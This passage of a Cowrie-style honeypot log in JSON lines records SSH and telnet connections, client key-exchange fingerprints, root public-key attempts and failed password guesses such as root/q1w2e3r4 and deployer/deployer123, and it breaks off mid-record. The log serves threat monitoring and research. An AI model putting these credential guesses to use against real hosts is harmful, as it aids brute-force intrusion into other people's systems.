{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:41:56.834558Z","src_ip":"148.113.221.241","session":"e5c4bc76a171","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4c:5f:06:bf:7c:08:62:f5:23:57:58:08:8d:87:3d:67","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCy6D8kT7mJgOcxI/TXle1F0RF+yQp8PQkNhn5x+x9vi0t3HvKpjnGR7foVniO5nMGC+aMCycOoc7WlMvCNIrtpf+uCQuQV+n8rdL7anAjmKhyOzIcGdIxyYtmqmgGdI/mSMEU0XTT1wEgReKTa4isUKhu6nQlqQzjebJ34O5ygdFbPUIuqY3cXritLIBEPEQ3wy0uLYjDUcEPEFKHNf3hs1JfuG8yXK07gaF1knbXw4EBk9u/23xBYeL5EUylQoXnNa6PLP4mSlDVtBuumCkq63ZaNEWdenoLgIc8HCv7rNEWHvJWFw7EPkAznsLYpIT5Lb/6FxUP/XE/O2j8Npa4Z","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4c:5f:06:bf:7c:08:62:f5:23:57:58:08:8d:87:3d:67","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:41:56.912644Z","src_ip":"148.113.221.241","session":"e5c4bc76a171","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4c:5f:06:bf:7c:08:62:f5:23:57:58:08:8d:87:3d:67","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCy6D8kT7mJgOcxI/TXle1F0RF+yQp8PQkNhn5x+x9vi0t3HvKpjnGR7foVniO5nMGC+aMCycOoc7WlMvCNIrtpf+uCQuQV+n8rdL7anAjmKhyOzIcGdIxyYtmqmgGdI/mSMEU0XTT1wEgReKTa4isUKhu6nQlqQzjebJ34O5ygdFbPUIuqY3cXritLIBEPEQ3wy0uLYjDUcEPEFKHNf3hs1JfuG8yXK07gaF1knbXw4EBk9u/23xBYeL5EUylQoXnNa6PLP4mSlDVtBuumCkq63ZaNEWdenoLgIc8HCv7rNEWHvJWFw7EPkAznsLYpIT5Lb/6FxUP/XE/O2j8Npa4Z","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:41:56.915254Z","src_ip":"148.113.221.241","session":"e5c4bc76a171","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c2:81:18:72:8b:6d:3e:36:58:00:55:86:70:1a:2c:9d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCECAM8EIpUOOha3Y+/C9Lq5Lx0HVHc/uMxr4PnqwPTeVeCTLH2gjV3ieXYxXn2HfaqlvDMBat5WbZYEsBjM+lyzZlRkbzCRAJmVqtnBL/G8FaT7q9xrSAxvxo5ku1hFrKO9+DRsUQ8EMdwov2NIZUj0ZO7aaO0qa9Znxvr8gAJ3N+snAwzIcHOyrmLOu45Bh4IBIQ2GceSajo/MQAoL0p8Qq1jyofJ9PcVVI4evAm2r0gvL6ut14wudPGksoyBbNcy1bROo2zdnWZgxqJi9G1nUHxWUn7Kc0Yx6AXKhFw/AMlOVNJE2WZTn0NUkFbmgih1umtOco94qlv47nJ5hBm1","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c2:81:18:72:8b:6d:3e:36:58:00:55:86:70:1a:2c:9d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:41:56.937619Z","src_ip":"148.113.221.241","session":"e5c4bc76a171","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c2:81:18:72:8b:6d:3e:36:58:00:55:86:70:1a:2c:9d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCECAM8EIpUOOha3Y+/C9Lq5Lx0HVHc/uMxr4PnqwPTeVeCTLH2gjV3ieXYxXn2HfaqlvDMBat5WbZYEsBjM+lyzZlRkbzCRAJmVqtnBL/G8FaT7q9xrSAxvxo5ku1hFrKO9+DRsUQ8EMdwov2NIZUj0ZO7aaO0qa9Znxvr8gAJ3N+snAwzIcHOyrmLOu45Bh4IBIQ2GceSajo/MQAoL0p8Qq1jyofJ9PcVVI4evAm2r0gvL6ut14wudPGksoyBbNcy1bROo2zdnWZgxqJi9G1nUHxWUn7Kc0Yx6AXKhFw/AMlOVNJE2WZTn0NUkFbmgih1umtOco94qlv47nJ5hBm1","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:41:56.941019Z","src_ip":"148.113.221.241","session":"e5c4bc76a171","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"53:e1:fc:7e:ab:33:9d:73:b1:13:1c:8d:7e:5d:e2:4d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC3w8CdmRK5wZiRuMJsNEWgnq2XfYlKeNCAd3UzEU1H9stL7aDwSwhOM86Ked9vUrAoQw/l9Ueu9ISdp5N/qHLMyJvYNhLrXZAv/HdZjo/TxIhlvbix+Pss/QRZZ1nRosXsgjtcNs6Z+PHr6KlIH+pLEZYuQM0uufAle7nepD2ah0XZmyMMH5uiOSfPwxcboNtA6/ySCgleIH3Ow+jhMYvmLqxymI20C1GpCKhRTK3EsHR8uwrW308yAGpz+3sVWByoOCZTuTmGtB4avLc8/Mm7fkJa7oOcjZh5ZggQBOJXp1hTMaibdHJ9Wzf7b+j717Xr8/AHLJAqndozOAQI7VFdLMGHM3ElsWj1LajVM3zJqu4Ut9Lrqrnk6uV6eciVrY4ergLHLI6X4tDNnraSyl6UzCKIPZYWShU+nrfskaMR+x5QG4XlMdKjtX1AE/N3aEu/Ws1ldvzaLjRbiR1PkVDWJFEoLyw7MHHXj0s2EVI7eBNBHVpgzW0aFOk4NH/ZQhPDnZf2fkcJuamuCNOeVNhXOSihppn+sSGB56QimUeG7/oYET9h4oF7c4/Hwil25kE/8JfQ+aVWMV1MRqBeNdFA387Hjh4t3pzMOfY4+atmLmZK0FBkqmj8bfMimRgtok2bD4gqM4nBrV8lXl9JGswaxfYtKcQrMqURc96VDTLgOw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 53:e1:fc:7e:ab:33:9d:73:b1:13:1c:8d:7e:5d:e2:4d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:41:56.961063Z","src_ip":"148.113.221.241","session":"e5c4bc76a171","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"53:e1:fc:7e:ab:33:9d:73:b1:13:1c:8d:7e:5d:e2:4d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC3w8CdmRK5wZiRuMJsNEWgnq2XfYlKeNCAd3UzEU1H9stL7aDwSwhOM86Ked9vUrAoQw/l9Ueu9ISdp5N/qHLMyJvYNhLrXZAv/HdZjo/TxIhlvbix+Pss/QRZZ1nRosXsgjtcNs6Z+PHr6KlIH+pLEZYuQM0uufAle7nepD2ah0XZmyMMH5uiOSfPwxcboNtA6/ySCgleIH3Ow+jhMYvmLqxymI20C1GpCKhRTK3EsHR8uwrW308yAGpz+3sVWByoOCZTuTmGtB4avLc8/Mm7fkJa7oOcjZh5ZggQBOJXp1hTMaibdHJ9Wzf7b+j717Xr8/AHLJAqndozOAQI7VFdLMGHM3ElsWj1LajVM3zJqu4Ut9Lrqrnk6uV6eciVrY4ergLHLI6X4tDNnraSyl6UzCKIPZYWShU+nrfskaMR+x5QG4XlMdKjtX1AE/N3aEu/Ws1ldvzaLjRbiR1PkVDWJFEoLyw7MHHXj0s2EVI7eBNBHVpgzW0aFOk4NH/ZQhPDnZf2fkcJuamuCNOeVNhXOSihppn+sSGB56QimUeG7/oYET9h4oF7c4/Hwil25kE/8JfQ+aVWMV1MRqBeNdFA387Hjh4t3pzMOfY4+atmLmZK0FBkqmj8bfMimRgtok2bD4gqM4nBrV8lXl9JGswaxfYtKcQrMqURc96VDTLgOw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:41:56.964017Z","src_ip":"148.113.221.241","session":"e5c4bc76a171","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6d:65:12:1f:93:6b:9c:c4:a0:bb:a1:b5:c9:64:58:ca","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQChoADyXVVZFcCReDpY4DRbQCaPrqlZGx9hxUCX6CQtlLj1yG76yXrOcZwZ60n5NOZuclnmGJt/y2gPchTC5oDpHlfiId36rBma14ttum4euZdU/DloYkZ0ON4NT8yf0SvB73pY4yhy6jNf2DLahglN8o2stiizaC+PGi4nnmjBm3WqmQqypFuu+I5oIZVmxmm6eeIS3tGiNuRLmjjPbkP0xq+UL3G+YxB0olNErRBh4ev1LIDFYMizjR2PP07oFX5UeuGAPT7b06cVyWyAKOzQIJtbqZ5AXAw/sw75QX9Bg0hgXKq3Z8P3py0PLqFFLtfKGiRbvW0BithuE6wjx457","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6d:65:12:1f:93:6b:9c:c4:a0:bb:a1:b5:c9:64:58:ca","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:41:56.985483Z","src_ip":"148.113.221.241","session":"e5c4bc76a171","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6d:65:12:1f:93:6b:9c:c4:a0:bb:a1:b5:c9:64:58:ca","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQChoADyXVVZFcCReDpY4DRbQCaPrqlZGx9hxUCX6CQtlLj1yG76yXrOcZwZ60n5NOZuclnmGJt/y2gPchTC5oDpHlfiId36rBma14ttum4euZdU/DloYkZ0ON4NT8yf0SvB73pY4yhy6jNf2DLahglN8o2stiizaC+PGi4nnmjBm3WqmQqypFuu+I5oIZVmxmm6eeIS3tGiNuRLmjjPbkP0xq+UL3G+YxB0olNErRBh4ev1LIDFYMizjR2PP07oFX5UeuGAPT7b06cVyWyAKOzQIJtbqZ5AXAw/sw75QX9Bg0hgXKq3Z8P3py0PLqFFLtfKGiRbvW0BithuE6wjx457","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:41:56.988342Z","src_ip":"148.113.221.241","session":"e5c4bc76a171","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ad:18:78:58:50:80:23:00:6d:49:1d:45:92:a7:d8:0e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6+IMROQ7IhZG7+2GiNIQyH1LWXQsYyDQUoSBwu3P/tKwIE/H1ShDJg7N0Qb9xNAlQJ1xJcKxZeJtOfKw9PO3yx1djprTBKL/XH9nH0gIGlPqjTqgfw11VjsyELFYq+U7n2w88zP3ceH1BMbxQaZb6TlafjWKkvEqpn//iyVDk5z4/hZLgCy6nctJz/DJEmB2Nb/HqPyhCvbJtxN+A80cgkCrFJBLFRqCyxFyJgNSHTzbQLPuVM27SdZtjxvN0OpPWtVMbxNrS1BBWMaMAhLLUE8HlL2K77PjiwDOngqYsiZbt6zN1Xe6unNlLCqEpkNb8yPBSctKG3DQea9KgrQGn","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ad:18:78:58:50:80:23:00:6d:49:1d:45:92:a7:d8:0e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:41:57.010878Z","src_ip":"148.113.221.241","session":"e5c4bc76a171","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ad:18:78:58:50:80:23:00:6d:49:1d:45:92:a7:d8:0e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6+IMROQ7IhZG7+2GiNIQyH1LWXQsYyDQUoSBwu3P/tKwIE/H1ShDJg7N0Qb9xNAlQJ1xJcKxZeJtOfKw9PO3yx1djprTBKL/XH9nH0gIGlPqjTqgfw11VjsyELFYq+U7n2w88zP3ceH1BMbxQaZb6TlafjWKkvEqpn//iyVDk5z4/hZLgCy6nctJz/DJEmB2Nb/HqPyhCvbJtxN+A80cgkCrFJBLFRqCyxFyJgNSHTzbQLPuVM27SdZtjxvN0OpPWtVMbxNrS1BBWMaMAhLLUE8HlL2K77PjiwDOngqYsiZbt6zN1Xe6unNlLCqEpkNb8yPBSctKG3DQea9KgrQGn","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:41:57.014241Z","src_ip":"148.113.221.241","session":"e5c4bc76a171","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:41:57.034461Z","src_ip":"148.113.221.241","session":"e5c4bc76a171","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":54608,"dst_ip":"159.203.135.109","dst_port":23,"session":"ced556e3600f","protocol":"telnet","message":"New connection: 128.199.8.54:54608 (159.203.135.109:23) [session: ced556e3600f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:41:57.959657Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":59028,"dst_ip":"10.17.0.5","dst_port":22,"session":"5c0df115ab7f","protocol":"ssh","message":"New connection: 45.156.87.147:59028 (10.17.0.5:22) [session: 5c0df115ab7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:41:59.483837Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:41:59.487061Z","src_ip":"45.156.87.147","session":"5c0df115ab7f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:41:59.574092Z","src_ip":"45.156.87.147","session":"5c0df115ab7f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"q1w2e3r4","message":"login attempt [root/q1w2e3r4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:41:59.888585Z","src_ip":"45.156.87.147","session":"5c0df115ab7f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:42:00.974259Z","src_ip":"45.156.87.147","session":"5c0df115ab7f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":59030,"dst_ip":"10.17.0.5","dst_port":22,"session":"2ad95aad3e36","protocol":"ssh","message":"New connection: 45.156.87.147:59030 (10.17.0.5:22) [session: 2ad95aad3e36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:42:05.870472Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:42:05.875019Z","src_ip":"45.156.87.147","session":"2ad95aad3e36","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:42:05.961131Z","src_ip":"45.156.87.147","session":"2ad95aad3e36","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"deployer123","message":"login attempt [deployer/deployer123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:42:06.229734Z","src_ip":"45.156.87.147","session":"2ad95aad3e36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:42:07.425076Z","src_ip":"45.156.87.147","session":"2ad95aad3e36","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"166.62.124.255","src_port":41914,"dst_ip":"159.203.135.109","dst_port":23,"session":"8bd162118361","protocol":"telnet","message":"New connection: 166.62.124.255:41914 (159.203.135.109:23) [session: 8bd162118361]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:42:10.388317Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":33910,"dst_ip":"159.203.135.109","dst_port":23,"session":"7bca14a40d91","protocol":"telnet","message":"New connection: 128.199.8.54:33910 (159.203.135.109:23) [session: 7bca14a40d91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:42:11.878359Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":58106,"dst_ip":"10.17.0.5","dst_port":22,"session":"0928b67f23af","protocol":"ssh","message":"New connection: 45.156.87.147:58106 (10.17.0.5:22) [session: 0928b67f23af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:42:12.017842Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:42:12.022192Z","src_ip":"45.156.87.147","session":"0928b67f23af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:42:12.109024Z","src_ip":"45.156.87.147","session":"0928b67f23af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"dev","message":"login attempt [deployer/dev] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:42:12.546512Z","src_ip":"45.156.87.147","session":"0928b67f23af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":44208,"dst_ip":"159.203.135.109","dst_port":22,"session":"235e69eaa9ed","protocol":"ssh","message":"New connection: 87.251.79.125:44208 (159.203.135.109:22) [session: 235e69eaa9ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:42:13.470207Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:42:13.473987Z","src_ip":"87.251.79.125","session":"235e69eaa9ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.